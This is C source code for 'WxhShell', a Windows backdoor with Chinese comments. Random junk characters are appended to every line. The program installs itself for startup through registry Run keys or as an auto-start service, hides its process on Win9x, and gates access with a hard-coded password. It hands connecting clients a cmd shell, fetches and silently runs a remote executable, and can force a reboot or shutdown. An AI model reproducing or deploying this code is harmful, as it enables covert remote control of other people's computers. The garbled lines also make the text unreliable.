    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ctzaqsr  
    if(Boot(SHUTDOWN)) +.RC{o,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jD eNCJ  
    else { %%w/;o!c  
    closesocket(wsh); jW G=k#WN  
    ExitThread(0); tKik)ei  
    } `S{Blv  
    break; R1%2]?  
    } {MaFv  
  // 获取shell l6C^,xU~IX  
  case 's': { v FL\O  
    CmdShell(wsh); <R?_Yjsw  
    closesocket(wsh); (Wm4JmX%  
    ExitThread(0); <%2A, Vz"  
    break; {D(_"  
  } _E{hB  
  // 退出 P=j89-e  
  case 'x': { :gNTQZR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {Va "o~io  
    CloseIt(wsh); $YyN-C  
    break; F9|\(St &  
    } > WsRCBA  
  // 离开 8?S)>-mwv  
  case 'q': { MwlhL?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x\ pC&  
    closesocket(wsh); <$\En[u0  
    WSACleanup(); bLfbzkNV\1  
    exit(1); E!eBQ[@  
    break; 'kD~tpZ  
        } #jja#PF]7  
  } O-M4NKl]6  
  } \(C_t1  
Uv-xP(X  
  // 提示信息 osJ;"B36  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r`THOj\cM  
} j|u6TG  
  } NTHy!y<!h  
Use`E  
  return; Nz ,8NM]  
} +U%U3tAvs  
H@uCbT  
// shell模块句柄 u,d@ oF(=  
int CmdShell(SOCKET sock) za ix_mR  
{ zlh}8Es  
STARTUPINFO si; m,~ @1  
ZeroMemory(&si,sizeof(si)); t^ =6czk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ml|[x M8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AU@XpaPWh  
PROCESS_INFORMATION ProcessInfo; \gh`P S-B  
char cmdline[]="cmd"; WrR97]7t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @+v;B:  
  return 0;  [>'P  
} s ^/<6kwO  
y<G@7?   
// 自身启动模式 EcA@bZ0  
int StartFromService(void) 2EeWcTBU}.  
{ QPi]5z?  
typedef struct :(,Eq?  
{ axl!zu*  
  DWORD ExitStatus; CL^MIcq?  
  DWORD PebBaseAddress; FuZ7xM,  
  DWORD AffinityMask; (]|rxmycA  
  DWORD BasePriority; # !?5^O  
  ULONG UniqueProcessId; K#=)]qIk  
  ULONG InheritedFromUniqueProcessId; HS|X//]  
}   PROCESS_BASIC_INFORMATION; {e4ILdXM  
f!`,!dZgkd  
PROCNTQSIP NtQueryInformationProcess; 4MVa[ 0Y  
`hD\u@5Tw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2VOdI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (9N75uCa  
wn'_;0fg  
  HANDLE             hProcess; }ug|&25D  
  PROCESS_BASIC_INFORMATION pbi; {YCquoF  
hi>sDU< x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <}c`jN!z.  
  if(NULL == hInst ) return 0; <y(uu(c  
Fejs9'cB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X*2M Nx^K~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); silTL_$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $IL7c]Gw  
eCY gi7?  
  if (!NtQueryInformationProcess) return 0; ^X%{]b K  
[~;#]az  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :@TfhQV_=Q  
  if(!hProcess) return 0; x}G["ZU}v]  
zMT0ToG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1;p'2-x  
 0u4:=Z}W  
  CloseHandle(hProcess); Z2Bl$ \  
;as4EqiK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m8Q6ESg<*u  
if(hProcess==NULL) return 0; d jeax  
G)b6Rit  
HMODULE hMod; :^DuB_  
char procName[255]; ellj/u61bj  
unsigned long cbNeeded; V4GcW|P4y  
eKlh }v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0kI.d X)  
bJD2c\qoc  
  CloseHandle(hProcess); TxYxB1C)  
VJMn5v[V  
if(strstr(procName,"services")) return 1; // 以服务启动 L;=<d  
Gw6*0& 3')  
  return 0; // 注册表启动 u4L&8@  
} (]Z%&>*  
`z$<1Q T  
// 主模块 J9^RP~>bs  
int StartWxhshell(LPSTR lpCmdLine) tI&Z!fj  
{ hlxZq  
  SOCKET wsl; r"OVu~ND  
BOOL val=TRUE; *yqEl O  
  int port=0; [X.sCl|  
  struct sockaddr_in door; DfFsCTu  
L  &F0^  
  if(wscfg.ws_autoins) Install(); -I.OvzQ*  
uh UC m  
port=atoi(lpCmdLine); lHwQ'/r  
e,qc7BJzK  
if(port<=0) port=wscfg.ws_port; @ oE [!  
^'=J'Q  
  WSADATA data; I\O<XJO)_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^$aj,*Aj~  
. gK*Jpmx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s@C@q(i6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oc,a  
  door.sin_family = AF_INET; IZczHHEL`b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z 4uft  
  door.sin_port = htons(port); _dY6Ip%  
~Rx[~a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y&NO[  
closesocket(wsl); <qs>c<Vj  
return 1; | 1H"ya  
} Kw}-<y  
4,kT4_&,  
  if(listen(wsl,2) == INVALID_SOCKET) { 08&DP^NS  
closesocket(wsl); N^A&DrMF  
return 1; /#M|)V*wn  
} $D8eCjUm  
  Wxhshell(wsl); \D] N*  
  WSACleanup(); _NAKVzo-  
]R/VE"-  
return 0; 6X5`npf  
Hd6g0  
} 5QU7!jb I  
2E^zQ>;01  
// 以NT服务方式启动 3k;*xjv6@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m]J Z@  
{ k/W$)b:Of`  
DWORD   status = 0; 6;U]l.  
  DWORD   specificError = 0xfffffff; 4f<%<Z  
\3(d$_:b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {w.rcObIw+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QT/TZ:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |:n4t6  
  serviceStatus.dwWin32ExitCode     = 0; FA ?xp1E  
  serviceStatus.dwServiceSpecificExitCode = 0; U@dztX@u  
  serviceStatus.dwCheckPoint       = 0; r# 5))q-  
  serviceStatus.dwWaitHint       = 0; 3Xaw  
_B)LRD+Hj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I~EQuQ>=  
  if (hServiceStatusHandle==0) return; jQOY\1SR  
` /JJ\`Pu  
status = GetLastError(); Q+E%"`3V4l  
  if (status!=NO_ERROR) T<06y3sN  
{ ,x}p1EZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w@7NoD=  
    serviceStatus.dwCheckPoint       = 0; KK`P<^8J  
    serviceStatus.dwWaitHint       = 0; Er?Wg09  
    serviceStatus.dwWin32ExitCode     = status; Bo8+ uRF|  
    serviceStatus.dwServiceSpecificExitCode = specificError; L,0HX   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hHF YAh   
    return; g?!vR id@S  
  } 4lH$BIAW  
#Yi,EwD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uBw1Xud[YI  
  serviceStatus.dwCheckPoint       = 0; YbF}(iM  
  serviceStatus.dwWaitHint       = 0; ~sk;6e)(2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GQoaBO.  
}  B\1F  
_H(m4~ M  
// 处理NT服务事件,比如:启动、停止 orCD?vlh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l@nkR&4[  
{  Ok[y3S  
switch(fdwControl) e&?o  
{ P9v N5|"M  
case SERVICE_CONTROL_STOP: Z3Os9X9p  
  serviceStatus.dwWin32ExitCode = 0; Se qnO.\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mV0F ^5  
  serviceStatus.dwCheckPoint   = 0; q05_5  
  serviceStatus.dwWaitHint     = 0; b5_(Fv  
  { 8 ZD1}58U4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g![]R-$  
  } 0l!%}E  
  return; 4;W eB   
case SERVICE_CONTROL_PAUSE: {4Cn/}7Ly^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "TA r\; [  
  break; &}31q`  
case SERVICE_CONTROL_CONTINUE: ~M`QFF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &=5  
  break; #\*ODMk$4|  
case SERVICE_CONTROL_INTERROGATE: w<-8cvNhiz  
  break; *_}|EuY  
}; 8;/`uB:zV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )h&s.k  
} bvzeU n  
h" cLZM:6  
// 标准应用程序主函数 o&)O&bNJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {;]:}nA  
{ Q[`J=  
r 11:T3  
// 获取操作系统版本 %m1k^  
OsIsNt=GetOsVer(); c%c/mata?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n}PK0  
{C Qo}@.7  
  // 从命令行安装 +ia  F$  
  if(strpbrk(lpCmdLine,"iI")) Install(); SC)4u l%  
V*xT5TljS-  
  // 下载执行文件 |rkj$s,  
if(wscfg.ws_downexe) { iJuh1+6:c9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J Sz'oA5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,A9pj k'  
} Ps5UX6\ .m  
=wHHR1e  
if(!OsIsNt) { LivPk`[  
// 如果时win9x,隐藏进程并且设置为注册表启动 I <`9ANe  
HideProc(); 6*%3O=*  
StartWxhshell(lpCmdLine); 8WK%g0gm  
} <T{2a\i 4f  
else )nU%}Z  
  if(StartFromService()) Fv=7~6~  
  // 以服务方式启动 bs$x%CR  
  StartServiceCtrlDispatcher(DispatchTable); SHS:>V  
else o B;EP  
  // 普通方式启动 L {(\k$>'  
  StartWxhshell(lpCmdLine); ^l;nBD#nJ  
S]iMZ \I/  
return 0; \^2%v~  
} mz@`*^7?  
cMOvM0f  
JCZ"#8M3  
#<|5<U  
=========================================== 6z@OGExmd#  
WV_y@H_  
J;4x-R$W  
L+2!Sc,>  
 ::Y   
~Fv&z'R  
" i|+ EC_^<  
8`}(N^=}  
#include <stdio.h> Z\6&5r=  
#include <string.h> -=,%9r  
#include <windows.h> [?$ZB),L8  
#include <winsock2.h> QIQ }ia  
#include <winsvc.h> iaBy/!i  
#include <urlmon.h> 2MwR jh_  
c(Zar&z,E  
#pragma comment (lib, "Ws2_32.lib") ]bCeJE.+)  
#pragma comment (lib, "urlmon.lib") Dv?'(.z  
jV)!9+H#  
#define MAX_USER   100 // 最大客户端连接数 B~oSKM%8R  
#define BUF_SOCK   200 // sock buffer HVaWv].  
#define KEY_BUFF   255 // 输入 buffer N+)4]ir>  
^~}|X%q3  
#define REBOOT     0   // 重启 WLGx= ;  
#define SHUTDOWN   1   // 关机 .CH0P K=l  
9{@#tx  
#define DEF_PORT   5000 // 监听端口 ;m$F~!Y  
=t1.j=oC  
#define REG_LEN     16   // 注册表键长度 d (]t}  
#define SVC_LEN     80   // NT服务名长度 un0t zz  
X||Z>w}v  
// 从dll定义API ]X~;?>#:p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E15"AO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %\PnsnJ9Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .QOQqU*2I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :"? boA#L  
GgkljF@{}  
// wxhshell配置信息 e&Z}struE  
struct WSCFG { U*F|Z4{W  
  int ws_port;         // 监听端口 INSI$tA~  
  char ws_passstr[REG_LEN]; // 口令 -\:#z4Tc  
  int ws_autoins;       // 安装标记, 1=yes 0=no 33x3zEUt6  
  char ws_regname[REG_LEN]; // 注册表键名 H pXMPHd  
  char ws_svcname[REG_LEN]; // 服务名 A3ad9?LR[R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FSv')`}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a6=mE?JTB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yZ3/Ia>,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /=Bz[ O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <y5V],-U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X.<_TBos|  
b2c% 0C  
}; cAJKFu X"  
L;30& a  
// default Wxhshell configuration Knsb`1"E^6  
struct WSCFG wscfg={DEF_PORT, bsVms,&  
    "xuhuanlingzhe", = aSHb[hO  
    1, epa)ctS9  
    "Wxhshell", cC w,b]  
    "Wxhshell", pj>b6^TI6C  
            "WxhShell Service", 'Ht$LqG  
    "Wrsky Windows CmdShell Service", dgPJte%i  
    "Please Input Your Password: ", ]4SnOSV?S  
  1, P{mV  
  "http://www.wrsky.com/wxhshell.exe", wm0vqY+N$  
  "Wxhshell.exe" WL-+;h@VQ  
    }; Im%|9g;P  
0 z{S@  
// 消息定义模块 n m(yFX?=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f" Yj'`6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j{N;2#.u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z'dY,<@  
char *msg_ws_ext="\n\rExit."; TuY{c%qQ:  
char *msg_ws_end="\n\rQuit."; \W;~[-"#  
char *msg_ws_boot="\n\rReboot..."; }/BwFB+(/  
char *msg_ws_poff="\n\rShutdown..."; ?TLEZlB2"  
char *msg_ws_down="\n\rSave to "; 0(#HMBE8  
pHFlO!#]|  
char *msg_ws_err="\n\rErr!"; KY/}jJW  
char *msg_ws_ok="\n\rOK!"; w~M5)b  
KTxdZt  
char ExeFile[MAX_PATH]; on(P  
int nUser = 0; , M$*c  
HANDLE handles[MAX_USER]; SPW @TF1  
int OsIsNt; d_#\^!9  
2#&9qGR  
SERVICE_STATUS       serviceStatus; hABC rd Em  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P$_Y:XI !  
>U~.I2sz  
// 函数声明 "{;]T  
int Install(void); AWC zu5ve  
int Uninstall(void); ^T"9ZBkb  
int DownloadFile(char *sURL, SOCKET wsh); OO_{ o  
int Boot(int flag); 1Lwi?~!LI  
void HideProc(void); pVn 6>\xa  
int GetOsVer(void); f]"][!e!,  
int Wxhshell(SOCKET wsl); USu/Y29  
void TalkWithClient(void *cs); (FZL>  
int CmdShell(SOCKET sock); 8h9t8?  
int StartFromService(void); a*&P>Lwe7&  
int StartWxhshell(LPSTR lpCmdLine); 6"WR}S0o  
A=|LMJMWR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ||hy+f[A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D2|-\vJ>  
'GQ1;9A57  
// 数据结构和表定义 vq_W zxaG  
SERVICE_TABLE_ENTRY DispatchTable[] = K,tmh1  
{ DCX 4!,ZF  
{wscfg.ws_svcname, NTServiceMain}, @I}:HiF  
{NULL, NULL} >=^g%K$L6J  
}; Mo &Ia6^  
tp$NT.z  
// 自我安装 >#dNXH]9  
int Install(void) VA4vAF  
{ 5b9_6L6  
  char svExeFile[MAX_PATH]; =%Gecj  
  HKEY key; n|NI]Qi*  
  strcpy(svExeFile,ExeFile); X obiF  
Tz58@VYV  
// 如果是win9x系统,修改注册表设为自启动 : QSlctW  
if(!OsIsNt) { CZE5RzG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t)g1ICt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~$#DB@b  
  RegCloseKey(key); f[ GH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X;sl?8HG!<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jjik~[<q:  
  RegCloseKey(key); #!h:w  
  return 0; ^R1 nOo/  
    }  \A:m<::  
  } al=Dy60|z  
} R|{AIa{}  
else { kxoJL6IC  
O(,Ezy x  
// 如果是NT以上系统,安装为系统服务 ru3nnF_I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s['F?GWg  
if (schSCManager!=0) ?nrd$,  
{ ^C>i(j&  
  SC_HANDLE schService = CreateService Lcplc"C  
  ( 9C[3w[G~C  
  schSCManager, MR%M[SK1  
  wscfg.ws_svcname, Rb<aCX  
  wscfg.ws_svcdisp, 3s\2 9gq  
  SERVICE_ALL_ACCESS, hnL"f[p@gC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s!Y>\3rMW  
  SERVICE_AUTO_START, V!c{%zd  
  SERVICE_ERROR_NORMAL,  {"y{V  
  svExeFile, QV+('  
  NULL, G9z Q{E  
  NULL, \%&QIe;:k  
  NULL, g6Qzkvw)  
  NULL, :g'"*VXYB  
  NULL z1f~:AdL  
  ); L|S#(0  
  if (schService!=0)  ]N-K`c]  
  { P\iw[m7O  
  CloseServiceHandle(schService); )<DL'  
  CloseServiceHandle(schSCManager); J[L$8y:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mb3,!  
  strcat(svExeFile,wscfg.ws_svcname); +%eMm.(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,V)yOLApVj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vkE6e6,Qc  
  RegCloseKey(key); "<3PyW?zt  
  return 0; ^O#,%>1J  
    } y2\, L  
  } T9{94Ra  
  CloseServiceHandle(schSCManager); " FcA:7+  
} *ky5SM(NR  
} qOZe\<.V<  
h_?D%b~5  
return 1; h\C  
} 9g"a`a?c  
\PU|<Ru.  
// 自我卸载 V5K`TC^  
int Uninstall(void) ?OYu BZF  
{ 8iK>bp  
  HKEY key; (8@._  
SWO$# X /  
if(!OsIsNt) { ," :ADO-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eXnMS!g%Z  
  RegDeleteValue(key,wscfg.ws_regname); 7 -gt V#  
  RegCloseKey(key); -[`,MZf   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Y Qtrc\91  
  RegDeleteValue(key,wscfg.ws_regname); qQ/j+  
  RegCloseKey(key); $>OWGueq64  
  return 0; b,D+1'  
  } hX$k8 o0  
} DDN#w<#  
} 76} N/C  
else { 0mH>fs 4  
oO$a4|&,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q<r{ps  
if (schSCManager!=0) m$*dPje  
{ nW{ ). P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h<6@&yzp  
  if (schService!=0) ?t'O\n)M  
  { j9) Z'L  
  if(DeleteService(schService)!=0) { :v Pzw!  
  CloseServiceHandle(schService); F_zs"ex/  
  CloseServiceHandle(schSCManager); `t {aN|3V[  
  return 0; +MGEO+  
  } @4T+0&OI10  
  CloseServiceHandle(schService); vxZvK0b620  
  } 'RTz*CSZ  
  CloseServiceHandle(schSCManager); ZR6KE_  
} &0K H00l  
} ,;O+2TX  
4punJg~1  
return 1; ;wp)E nF  
} >7@F4a  
u <%,Ql  
// 从指定url下载文件 d.% Vm&3  
int DownloadFile(char *sURL, SOCKET wsh) fJd!;ur)0  
{ rQ;m|@  
  HRESULT hr; cDxjD5E  
char seps[]= "/";  PZf^r  
char *token; w \i#  
char *file; 9@Cqg5Kx'  
char myURL[MAX_PATH]; -1:yqF.x  
char myFILE[MAX_PATH]; FoInJ(PDH  
1}QU\N(t  
strcpy(myURL,sURL); v\c.xtjI5x  
  token=strtok(myURL,seps); bMxzJRrNg  
  while(token!=NULL) B+*F?k[  
  { ,l#V eC  
    file=token; c+_F nA  
  token=strtok(NULL,seps); i=o<\ {iV:  
  } +[V?3Gdb  
xQm!  
GetCurrentDirectory(MAX_PATH,myFILE); enO5XsIc  
strcat(myFILE, "\\"); 3E+u)f lmB  
strcat(myFILE, file); :p=IZY  
  send(wsh,myFILE,strlen(myFILE),0); PE]jYyyHtU  
send(wsh,"...",3,0); V!DQ_T+a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (YGJw?]  
  if(hr==S_OK) |TkMrj0  
return 0; S)n ~^q  
else X@\rg}kP  
return 1; zo7Hm]W`  
rts@1JY[  
} s0E:hn:  
&xj?MgdNL  
// 系统电源模块 ZxwI< T:&  
int Boot(int flag) +'N?`l6<  
{ Z81]>  
  HANDLE hToken; 4@4$kro  
  TOKEN_PRIVILEGES tkp; %_(e{Mf)  
k,0JW=Vh>|  
  if(OsIsNt) { cIw)ScY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ih{(d O;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |*fGG?}  
    tkp.PrivilegeCount = 1; H8mmmt6g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J3oH^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u0A.I_  
if(flag==REBOOT) { TC<_I0jCh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y7u"a)T  
  return 0; =BMON{K  
} ]pzf{8%  
else { f]qP xRw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {3i.U028]  
  return 0; (caxl^=  
} 6*lTur9ni  
  } lN<vu#  
  else { TXv3@/>ZlG  
if(flag==REBOOT) { !eMz;GZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^}a..@|%W  
  return 0; ^I5k+cL  
} ol^OvG:TQ  
else { q$yTG!q*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qdx(wGG  
  return 0; w +fsw@dK&  
} 4@u*#Bp`|  
} Ty}'A(U  
%|I~8>m  
return 1; N8@Fj!Zi  
} ==RYf*d  
~dkS-6q~Q  
// win9x进程隐藏模块 Z]@my,+Z;  
void HideProc(void) ey_3ah3x  
{ ,ZHIXylZ  
7YV}F9h4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rUc2'Ct  
  if ( hKernel != NULL ) (OLjE]9;  
  { J2f}{!b+I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9f\Lon4lX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _U?   
    FreeLibrary(hKernel); |e!%6Qq3  
  } @!=q.4b  
[i== Tp  
return; 1aP3oXLL  
} g=0`^APql  
AU -,  
// 获取操作系统版本 W;4rhZEgd  
int GetOsVer(void) }R=n!Y$F  
{ c$Z3P%aP'V  
  OSVERSIONINFO winfo; b(Zh$86  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fa//~$#"{L  
  GetVersionEx(&winfo); 6ey{+8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b}HL uX  
  return 1; )\s{\u \  
  else C< 3` ]l  
  return 0; g`i?]6c}jt  
} ;.Zgt8/.  
}^ +E S^~  
// 客户端句柄模块 Q bjO*:c4  
int Wxhshell(SOCKET wsl) LUc!a4i"fO  
{ Za_w@o  
  SOCKET wsh; _ I"}3*  
  struct sockaddr_in client; ,bzE`6  
  DWORD myID; <j,ZAA&5%Y  
_C2iP[YwQ{  
  while(nUser<MAX_USER) 2w_[c.  
{ wW EnAW~  
  int nSize=sizeof(client); <tXk\ cOg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t 1}R#NB  
  if(wsh==INVALID_SOCKET) return 1; @{P<!x <Q  
Y&!-VW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MKPxF@N(  
if(handles[nUser]==0) |L[/]@|  
  closesocket(wsh); {k*rD!tT  
else akATwSrU  
  nUser++; i=T!4'Zu  
  } Tsg;i;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .;}vp*  
PvF3a `&r  
  return 0; !k@ (}CN_*  
} GVR/p  
3V=wW{;x  
// 关闭 socket ]s_,;PGU  
void CloseIt(SOCKET wsh) iga.B  
{ ~ES6Qw`Oe  
closesocket(wsh); ywQ[>itMa  
nUser--; e0;0X7  
ExitThread(0); GB,f'Afl  
} ~+|Vzm|S}  
yAD-sy +/  
// 客户端请求句柄 |`eHUtjH  
void TalkWithClient(void *cs) zW#P ~zS  
{ ZZq]I  
VJbsM1y M  
  SOCKET wsh=(SOCKET)cs; Yw=7(}  
  char pwd[SVC_LEN]; c||EXFS}O  
  char cmd[KEY_BUFF]; XX&4OV,^%D  
char chr[1]; {6Y|Z>  
int i,j; V3D`pt\[x  
u+EZ"p;o  
  while (nUser < MAX_USER) { RGEgYOO  
7}#zF]vHNi  
if(wscfg.ws_passstr) { B^Sxp=~Au  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gk:tT1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f|f)Kys%5  
  //ZeroMemory(pwd,KEY_BUFF); W%@r   
      i=0; Rax]svc  
  while(i<SVC_LEN) { {z#!3a  
Q~k5 }n8  
  // 设置超时 K}|zKTh:?  
  fd_set FdRead; ES,T[  
  struct timeval TimeOut; w3Lr~_j  
  FD_ZERO(&FdRead); {,aX|*1Ku~  
  FD_SET(wsh,&FdRead); =$mPReA3v  
  TimeOut.tv_sec=8; EDAtC  
  TimeOut.tv_usec=0; Op()`x m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g'cLc5\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q7z`oK5  
1 A%0y)]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lT^/ 8Z<g  
  pwd=chr[0]; -.xiq0  
  if(chr[0]==0xd || chr[0]==0xa) { Mc,3j~i  
  pwd=0; ?_ 476A  
  break; Ef @  
  } r)S:-wP  
  i++; 0:I[;Q t  
    } sGFvSW  
H^ 'As;R  
  // 如果是非法用户,关闭 socket n)|{tb^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V82HO{ D  
} 8;Zz25*  
hKnAWKb0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x" lcE@(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qP{Fwn  
8Sxk[`qx\K  
while(1) { bT7+$^NHf  
36e  
  ZeroMemory(cmd,KEY_BUFF); r[g  
^'\JI  
      // 自动支持客户端 telnet标准   "UX/yLc3(  
  j=0; <*Nd%Ca  
  while(j<KEY_BUFF) { R_^0Un([  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /|0xOiib  
  cmd[j]=chr[0]; Z_U4Yy'NNw  
  if(chr[0]==0xa || chr[0]==0xd) { +Tt.5>N  
  cmd[j]=0; mq}V @H5  
  break; n g%~mt  
  } E/V_gci  
  j++; .8wf {y  
    } ZJe^MnE (G  
`=V p 0tPI  
  // 下载文件 EDT9O  
  if(strstr(cmd,"http://")) { z~"Q_gme  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5G2G<[p5oQ  
  if(DownloadFile(cmd,wsh)) j*\oK@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?lE&o w  
  else [*C%u_h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C(8VXtx_  
  } vBzUuX  
  else { B"YN+So  
nW)?cQ I  
    switch(cmd[0]) { 4< +f|(fIA  
  dGglt Y  
